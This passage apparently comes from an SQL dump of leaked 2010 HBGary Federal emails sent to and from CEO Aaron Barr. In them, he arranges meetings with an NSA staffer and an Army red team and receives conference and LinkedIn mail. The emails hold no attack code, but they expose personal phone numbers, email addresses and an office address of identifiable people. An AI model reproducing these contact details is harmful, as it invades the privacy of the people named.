\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n\r\n',746,'aaron_hbgary_com/746.html'),(7630,'2010-06-22','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005822.M869015P14101Q2485.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Great meeting you and info about John','Thank you!--- On Tue, 6/22/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Great meeting you and info about JohnTo: pauln@jdn-int.comDate: Tuesday, June 22, 2010, 1:31 PM\r\nSame here.\r\n\r\nAttached is the New Media presentation I mentioned. &nbsp;It seemed to have gone over really well.\r\n\r\nAs to what groups/conferences. &nbsp;I would become a member of AFCEA to start. &nbsp;They have monthly meetings as well as occasional security conferences that are pretty good. &nbsp;I will think of a few others.\r\n\r\nI reached out to John on Linkedin, thank you for the email.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:14 PM, Paul Nemirovsky wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nIt was great meeting you.&nbsp; Let\'s stay connected.&nbsp; John\'s email - john.gorman@ngc.com\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n___________________________________________________________\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',12540,'aaron_hbgary_com/12540.html'),(7631,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005823.M359988P14101Q2486.eml','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','Re: contact','Adrian,Happy to discuss.  You don&#39;t happen to have time this Thursday do you?  I will be up in MD all day.  Otherwise let&#39;s try to get together next week.  Please feel free to call 719.510.8478\r\nAaronSent from my iPadOn Jun 22, 2010, at 1:55 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n \r\n\r\nI’m following up on our brief chat after your\r\npresentation last week at the ReBl Symposium. We only had a moment to discuss some\r\nof the implications and the direction where the problem of social networking\r\nexploitation is going to take us in the near future where proliferation of geo-location\r\nbased SN services will be dominant. If you have a moment I’d like to\r\nspeak with you a little bit more on the topic. \r\n\r\n \r\n\r\nPlease let me know if you’re interested and when is\r\nthe best time to reach you.\r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nAdrian\r\nSinclair, CISM\r\n\r\nNSA\r\nSpecial Programs Office\r\n\r\nInformation\r\nAssurance Directorate\r\n\r\nOffice\r\nTel: (410) 854-9124\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1464,'aaron_hbgary_com/1464.html'),(7632,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005823.M577683P14101Q2487.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: contact','Sent from my iPadBegin forwarded message:From: &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt;\r\nDate: June 22, 2010 1:55:01 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: contact\r\n\r\n\r\n\r\nArron,\r\n\r\n \r\n\r\nI’m following up on our brief chat after your\r\npresentation last week at the ReBl Symposium. We only had a moment to discuss some\r\nof the implications and the direction where the problem of social networking\r\nexploitation is going to take us in the near future where proliferation of geo-location\r\nbased SN services will be dominant. If you have a moment I’d like to\r\nspeak with you a little bit more on the topic. \r\n\r\n \r\n\r\nPlease let me know if you’re interested and when is\r\nthe best time to reach you.\r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nAdrian\r\nSinclair, CISM\r\n\r\nNSA\r\nSpecial Programs Office\r\n\r\nInformation\r\nAssurance Directorate\r\n\r\nOffice\r\nTel: (410) 854-9124\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12183,'aaron_hbgary_com/12183.html'),(7633,'2010-06-22','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005824.M329811P14101Q2488.eml','\"Phoebe J. Boelter\" <pboelter@capsllc.net>,\"Kristen Jacobucci\" <kjacobucci@capsllc.net>,\"Traci Wei\" <twei@capsllc.net>','Thank You for Attending the 22nd Annual FIRST Conference in Miami!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nFIRST 2010 Attendee,\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou again for attending the 22nd Annual FIRST Conference in Miami,\r\nFlorida, June 13-18, 2010!&nbsp; \r\n\r\n&nbsp;\r\n\r\nWhew,\r\nwhat a week!&nbsp; I think we can all agree that it was a week full of great\r\npresentations and priceless networking opportunities.&nbsp; We&#8217;d like to\r\nthank all of our speakers, sponsors, attendees and of course, the FIRST\r\nmembership for their continued support of the annual conference.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou to our keynotes &#8211;\r\nDUS Phil Reitinger, Dave Aitel, Dr. Udo Helmbrecht, Christofer Hoff, and John\r\nStewart.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou to our sponsors\r\n&#8211; BT &amp; Computerlinks, Microsoft, VeriSign, Neustar, Cisco, Telefonica\r\nUSA, Adobe, Terremark, INTERPOL, Oracle, Google, Secunia, BFK Consulting,\r\nHitachi, Syngress Publishing, NetSecPodcast, Diageo, SecurityActs, KRvW\r\nAssociates, ICS-CERT, Netwitness, HBGary, MANDIANT, US-CERT, Solera and\r\nDamballa.\r\n\r\n&nbsp;\r\n\r\nWhat&#8217;s\r\nNext?\r\n\r\nAs\r\nwe get back to our routines this week, I will be sending emails out regarding\r\nCPE credits, conference podcasts and downloads.\r\n\r\n&nbsp;\r\n\r\nWe\r\nhope to have all presentation slides packaged and ready for download by the end\r\nof this week.&nbsp; In the meantime, grab a digital updated copy of the\r\nofficial program booklet at http://conference.first.org/Program/program.aspx.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nFIRST\r\n2011 Vienna Special Offer\r\n\r\nRegister\r\nfor the 23rd Annual FIRST conference this month for the US $1300\r\nspecial rate.&nbsp; Use the code VIENNASPECIAL at checkout.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any questions about the conference or conference materials, please\r\ndon&#8217;t hesitate to contact me.\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\nFollow\r\nall the latest event updates on Twitter\r\n\r\nhttp://www.twitter.com/firstdotorg\r\n\r\n\r\n&nbsp;\r\n\r\nJoin\r\nthe FIRST LinkedIn Group http://www.linkedin.com/groups?gid=2585&amp;goback=%2Egdr_1266250949152_1&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nJoin\r\nthe FIRST Facebook Group\r\n\r\nhttp://www.facebook.com/p.php?i=1577880062&amp;amp;k=ZZB2QVW2S3TF3G1GPF53W5PQTSCFW3V1&amp;amp;oid=43715554649\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14799,'aaron_hbgary_com/14799.html'),(7634,'2010-06-22','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297005824.M598355P14101Q2489.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>,\"Aaron Barr\" <aaron@hbgary.com>','HBGary Contract Discussion','When: Wednesday, June 23, 2010 3:00 PM-4:00 PM. Eastern Standard Time\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nEngame will call Aaron\r\n',6021,'aaron_hbgary_com/6021.html'),(7635,'2010-06-22','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297005824.M810705P14101Q2490.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Contract Discussion','',13333,'aaron_hbgary_com/13333.html'),(7636,'2010-06-22','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','/aaron@hbgary.com/new/1297005825.M232599P14101Q2491.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: contact','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m free lunch time on Thursday.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 2:57 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHappy to discuss. &nbsp;You don\'t happen to have time this\r\nThursday do you? &nbsp;I will be up in MD all day. &nbsp;Otherwise let\'s try to\r\nget together next week. &nbsp;Please feel free to call 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:55 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nfollowing up on our brief chat after your presentation last week at the ReBl\r\nSymposium. We only had a moment to discuss some of the implications and the\r\ndirection where the problem of social networking exploitation is going to take\r\nus in the near future where proliferation of geo-location based SN services\r\nwill be dominant. If you have a moment I&#8217;d like to speak with you a\r\nlittle bit more on the topic. \r\n\r\n&nbsp;\r\n\r\nPlease\r\nlet me know if you&#8217;re interested and when is the best time to reach you.\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nAdrian Sinclair, CISM\r\n\r\nNSA Special Programs Office\r\n\r\nInformation Assurance Directorate\r\n\r\nOffice Tel: (410) 854-9124\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9241,'aaron_hbgary_com/9241.html'),(7637,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005825.M465953P14101Q2492.eml','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','Re: contact','Sounds good.  I have a badge so I can meet you in your bldg or somewhere else, up to you.AaronSent from my iPadOn Jun 22, 2010, at 3:32 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\nI’m free lunch time on Thursday.\r\n\r\n \r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 2:57 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAdrian,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHappy to discuss.  You don&#39;t happen to have time this\r\nThursday do you?  I will be up in MD all day.  Otherwise let&#39;s try to\r\nget together next week.  Please feel free to call 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:55 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n \r\n\r\nI’m\r\nfollowing up on our brief chat after your presentation last week at the ReBl\r\nSymposium. We only had a moment to discuss some of the implications and the\r\ndirection where the problem of social networking exploitation is going to take\r\nus in the near future where proliferation of geo-location based SN services\r\nwill be dominant. If you have a moment I’d like to speak with you a\r\nlittle bit more on the topic. \r\n\r\n \r\n\r\nPlease\r\nlet me know if you’re interested and when is the best time to reach you.\r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nAdrian Sinclair, CISM\r\n\r\nNSA Special Programs Office\r\n\r\nInformation Assurance Directorate\r\n\r\nOffice Tel: (410) 854-9124\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6894,'aaron_hbgary_com/6894.html'),(7638,'2010-06-22','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005825.M686186P14101Q2493.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Joseph Ghannam and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 22, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Multiple openings for Sr. Counterintelligence (CI) Specialists with SECRET or above for 6 month deployment to Afghanistan with option to renew for another year\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',1531,'aaron_hbgary_com/1531.html'),(7639,'2010-06-22','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','/aaron@hbgary.com/new/1297005825.M911408P14101Q2494.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: contact','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m at FANX though not at the Fort. We can meet inside or grab\r\nlunch across the street.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 3:47 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSounds good. &nbsp;I have a badge so I can meet you in your\r\nbldg or somewhere else, up to you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 3:32 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m\r\nfree lunch time on Thursday.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 2:57 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHappy\r\nto discuss. &nbsp;You don\'t happen to have time this Thursday do you? &nbsp;I\r\nwill be up in MD all day. &nbsp;Otherwise let\'s try to get together next week.\r\n&nbsp;Please feel free to call 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:55 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nfollowing up on our brief chat after your presentation last week at the ReBl\r\nSymposium. We only had a moment to discuss some of the implications and the\r\ndirection where the problem of social networking exploitation is going to take\r\nus in the near future where proliferation of geo-location based SN services\r\nwill be dominant. If you have a moment I&#8217;d like to speak with you a little bit\r\nmore on the topic. \r\n\r\n&nbsp;\r\n\r\nPlease\r\nlet me know if you&#8217;re interested and when is the best time to reach you.\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nAdrian Sinclair, CISM\r\n\r\nNSA Special Programs Office\r\n\r\nInformation Assurance Directorate\r\n\r\nOffice Tel: (410) 854-9124\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12643,'aaron_hbgary_com/12643.html'),(7640,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005826.M200436P14101Q2495.eml','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','Re: contact','Sure.  Can we do both?  Give us a few minutes in a secure place for any context and then lunch?  Is 1100 or 1130 ok?AaronFrom my iPhoneOn Jun 22, 2010, at 3:54 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\nI’m at FANX though not at the Fort. We can meet inside or grab\r\nlunch across the street.\r\n\r\n \r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 3:47 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSounds good.  I have a badge so I can meet you in your\r\nbldg or somewhere else, up to you.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 3:32 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’m\r\nfree lunch time on Thursday.\r\n\r\n \r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, June 22, 2010 2:57 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAdrian,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHappy\r\nto discuss.  You don&#39;t happen to have time this Thursday do you?  I\r\nwill be up in MD all day.  Otherwise let&#39;s try to get together next week.\r\n Please feel free to call 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:55 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n \r\n\r\nI’m\r\nfollowing up on our brief chat after your presentation last week at the ReBl\r\nSymposium. We only had a moment to discuss some of the implications and the\r\ndirection where the problem of social networking exploitation is going to take\r\nus in the near future where proliferation of geo-location based SN services\r\nwill be dominant. If you have a moment I’d like to speak with you a little bit\r\nmore on the topic. \r\n\r\n \r\n\r\nPlease\r\nlet me know if you’re interested and when is the best time to reach you.\r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nAdrian Sinclair, CISM\r\n\r\nNSA Special Programs Office\r\n\r\nInformation Assurance Directorate\r\n\r\nOffice Tel: (410) 854-9124\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14810,'aaron_hbgary_com/14810.html'),(7641,'2010-06-22','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297005826.M523550P14101Q2496.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting (UNCLASSIFIED)','Aaron,\r\nI think all of these topics would be of interest for the red team in one way or another. I\'ll need to get our computer guys to attend because they know much more about the malware and computer lingo. My section is specifically interested in creating awareness of new media threats and how to protect against them. \r\n\r\nV/R\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Monday, June 21, 2010 9:38 pm\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n\r\n\r\n> CPT Turner,\r\n> \r\n> Let me give you a quick list of things I can talk about and you \r\n> tell me which ones are of the most interest. I can tailor any \r\n> material, etc to your interest.\r\n> \r\n> HBGary Technology that enables enterprise advanced detection of \r\n> advanced zero day malware.\r\n> 1. DDNA - Behavior based malware detection.\r\n> 2. Active Defense - Enterprise advanced malware detection and analysis\r\n> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n> \r\n> Services and Thought Leadership\r\n> 1. CERT/SOC Operations - Technologies and Processes that enable \r\n> transformation of CERT/SOC operations. Knowledge management. \r\n> Information Sharing. New Media, Bringing Malware analysis into \r\n> Net Defense.\r\n> 2. Incident Response - New technologies and processes for more \r\n> efficient IR engagements with leave behind capability for \r\n> continuous monitoring.\r\n> 3. Threat Intelligence - new threats require better threat \r\n> intelligence to understand. Approach to threat intelligence.\r\n> 4. IO - A list of things better discussed in person. Novell ways \r\n> to implement persistent internet operations. New Media, CovCom, etc.\r\n> \r\n> I can pass my clearances if needed.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA \r\n> USINSCOM wrote:\r\n> \r\n> > How about 10:00 here at metro park. I figure the traffic should \r\n> good by then and you can still get out of here before the Friday \r\n> traffic starts again. If that time doesn\'t work let me know and \r\n> we\'ll pick another one. The address is: \r\n> > 6359 Walker Lane, Alexandria, VA 22310\r\n> > Once you get here you can give me a call at 703-428-4514 and \r\n> I\'ll meet up with you. We\'ll be meeting with the Army Red Team \r\n> Chief, MAJ Verell, and the Vulnerability Assessment Detachment \r\n> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics \r\n> that you would like to discuss. Again, thanks for taking the time \r\n> to speak with us.\r\n> > \r\n> > Very Respectfully,\r\n> > \r\n> > CPT Stephen W. Turner\r\n> > DSN 703-428-4514\r\n> > \r\n> > ----- Original Message -----\r\n> > From: Aaron Barr  > Date: Monday, June 21, 2010 9:36 am\r\n> > Subject: Re: Meeting (UNCLASSIFIED)\r\n> > To: \"Turner, Stephen W CPT MIL USA\"  > \r\n> > \r\n> >> Friday looks good for me. I will come to you.\r\n> >> \r\n> >> Let me know time and place and I\'ll be there.\r\n> >> \r\n> >> Aaron\r\n> >> \r\n> >> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n> >> \r\n> >>> Classification: UNCLASSIFIED\r\n> >>> Caveats: FOUO\r\n> >>> \r\n> >>> Mr. Barr,\r\n> >>> Thanks for your briefing, I really appreciate it. I have a \r\n> >> writing> course from Tuesday to Thursday but I\'m free on Friday of \r\n> >> this week.\r\n> >>> Next week is pretty open for me. Where are you located? I assume \r\n> >> up near\r\n> >>> Ft. Meade. Our office is in Springfield, Virginia. If we met \r\n> >> here it\r\n> >>> would be easier for us to get my boss, Mrs. Brooks, involved \r\n> >> concerning> Fidelis. She has been leading force in fighting to get \r\n> >> monitoring tools\r\n> >>> such as Fidelis on Army networks. If you are near Ft. Meade or close\r\n> >>> enough to metro area I could easily come to you. Let me know \r\n> >> what is\r\n> >>> convenient for you and we\'ll pick a time. Thanks\r\n> >>> \r\n> >>> CPT Steve Turner\r\n> >>> \r\n> >>> Classification: UNCLASSIFIED\r\n> >>> Caveats: FOUO\r\n> >>> \r\n> >>> \r\n> >> \r\n> >> Aaron Barr\r\n> >> CEO\r\n> >> HBGary Federal Inc.\r\n> >> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',4666,'aaron_hbgary_com/4666.html'),(7642,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005826.M804106P14101Q2497.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Meeting (UNCLASSIFIED)','Ok great.  If it is possible to pass clearances I can provide some\r\nvery interesting perspectives for you specifically.  If not maybe\r\nanother time.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 22, 2010, at 5:54 PM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n wrote:\r\n\r\n> Aaron,\r\n> I think all of these topics would be of interest for the red team in\r\n> one way or another. I\'ll need to get our computer guys to attend\r\n> because they know much more about the malware and computer lingo. My\r\n> section is specifically interested in creating awareness of new\r\n> media threats and how to protect against them.\r\n>\r\n> V/R\r\n>\r\n> CPT Stephen W. Turner\r\n> DSN 703-428-4514\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Monday, June 21, 2010 9:38 pm\r\n> Subject: Re: Meeting (UNCLASSIFIED)\r\n> To: \"Turner, Stephen W CPT MIL USA USINSCOM\"  >\r\n>\r\n>\r\n>> CPT Turner,\r\n>>\r\n>> Let me give you a quick list of things I can talk about and you\r\n>> tell me which ones are of the most interest. I can tailor any\r\n>> material, etc to your interest.\r\n>>\r\n>> HBGary Technology that enables enterprise advanced detection of\r\n>> advanced zero day malware.\r\n>> 1. DDNA - Behavior based malware detection.\r\n>> 2. Active Defense - Enterprise advanced malware detection and\r\n>> analysis\r\n>> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n>>\r\n>> Services and Thought Leadership\r\n>> 1. CERT/SOC Operations - Technologies and Processes that enable\r\n>> transformation of CERT/SOC operations. Knowledge management.\r\n>> Information Sharing. New Media, Bringing Malware analysis into\r\n>> Net Defense.\r\n>> 2. Incident Response - New technologies and processes for more\r\n>> efficient IR engagements with leave behind capability for\r\n>> continuous monitoring.\r\n>> 3. Threat Intelligence - new threats require better threat\r\n>> intelligence to understand. Approach to threat intelligence.\r\n>> 4. IO - A list of things better discussed in person. Novell ways\r\n>> to implement persistent internet operations. New Media, CovCom, etc.\r\n>>\r\n>> I can pass my clearances if needed.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA\r\n>> USINSCOM wrote:\r\n>>\r\n>>> How about 10:00 here at metro park. I figure the traffic should\r\n>> good by then and you can still get out of here before the Friday\r\n>> traffic starts again. If that time doesn\'t work let me know and\r\n>> we\'ll pick another one. The address is:\r\n>>> 6359 Walker Lane, Alexandria, VA 22310\r\n>>> Once you get here you can give me a call at 703-428-4514 and\r\n>> I\'ll meet up with you. We\'ll be meeting with the Army Red Team\r\n>> Chief, MAJ Verell, 